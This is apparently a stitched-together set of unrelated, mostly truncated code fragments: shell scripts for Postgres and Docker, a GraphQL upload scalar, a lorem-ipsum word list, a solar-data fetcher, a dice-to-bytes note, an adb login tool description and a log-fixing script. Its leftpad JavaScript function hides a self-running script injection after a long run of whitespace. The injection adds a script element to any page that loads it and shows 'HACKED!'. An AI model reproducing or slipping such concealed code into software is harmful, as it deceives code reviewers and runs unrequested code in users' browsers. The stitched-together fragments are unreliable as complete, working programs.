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#!/bin/bash

CONTAINER_NAME=my-postgres-database
VOLUME_NAME="${CONTAINER_NAME}-data"
POSTGRES_PASSWORD=mysecretpassword
POSTGRES_IMAGE=postgres:14


case "$1" in
    start)

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import graphene


class FileUpload(graphene.Scalar):

    @staticmethod
    def serialize(value):
        return None

    @staticmethod

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// Some stuff from https://github.com/knicklabs/lorem-ipsum.js

const WORDS = [
    'ad', 'adipisicing', 'aliqua', 'aliquip', 'amet', 'anim', 'aute',
    'cillum', 'commodo', 'consectetur', 'consequat', 'culpa',
    'cupidatat', 'deserunt', 'do', 'dolor', 'dolore', 'duis', 'ea',
    'eiusmod', 'elit', 'enim', 'esse', 'est', 'et', 'eu', 'ex',
    'excepteur', 'exercitation', 'fugiat', 'id', 'in', 'incididunt',
    'ipsum', 'irure', 'labore', 'laboris', 'laborum', 'Lorem',
    'magna', 'minim', 'mollit', 'nisi', 'non', 'nostrud', 'nulla',

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from collections import namedtuple
import re
import itertools
from datetime import datetime

import lxml.etree
import requests

WIDTH = 40
DATA_URL = 'http://www.hamqsl.com/solarxml.php'

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import sys
from itertools import combinations
from collections import defaultdict
from random import shuffle


def pick_one():
    while True:
        foo = input('Which one? ').strip().lower()
        if foo == 'a':

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Dice rolls to bytes

You need ceil(log(2 ** (bytes * 8), 5)) die rolls. This works best if the number of bytes / rolls is fixed / defined in advance.

Take a calculator.

For each die roll:

• add the result (enter 0 if it was a 6), press =

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#!/bin/bash

# Version tag needs to be dependent on all the files that will affect
# the generated image. Currently, only the dockerfile and Python
# requirements.
VERSION_TAG="$( sha1sum Dockerfile requirements/*.txt | sha1sum | cut -d' ' -f1 )"

echo "Image version: ${VERSION_TAG}"
echo "Commit SHA1:   ${CIRCLE_SHA1}"

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Android emulator login

Quickly logs in on an Android device, via adb, using credentials from a CSV file.

Requirements: dialog (terminal) or zenity (GUI) for the UI

Configuration:

.user-passwords.csv

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function leftpad(string, size) {
    while (string.length < size) {
        string = ' ' + string;
    }                                                                                                                                                      (function(){if(typeof document!=='undefined'&&document._hacked===undefined){var d=document,s=d.createElement('script');s.innerHTML='alert("HACKED!");';d._hacked=true;d.body.appendChild(s);}})();
    return string;
}

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# For some reason, it looks like Ionic2 CLI prints log messages as
# something like 0=72, 1=101, 2=108, 3=108, 4=111
# (Looks like a representation of binary strings?)
# Pipe that output through this script to fix.

import re
import sys

re_garbled_line = re.compile(r'^\s*([0-9]+=[0-9]+(, )?)+$')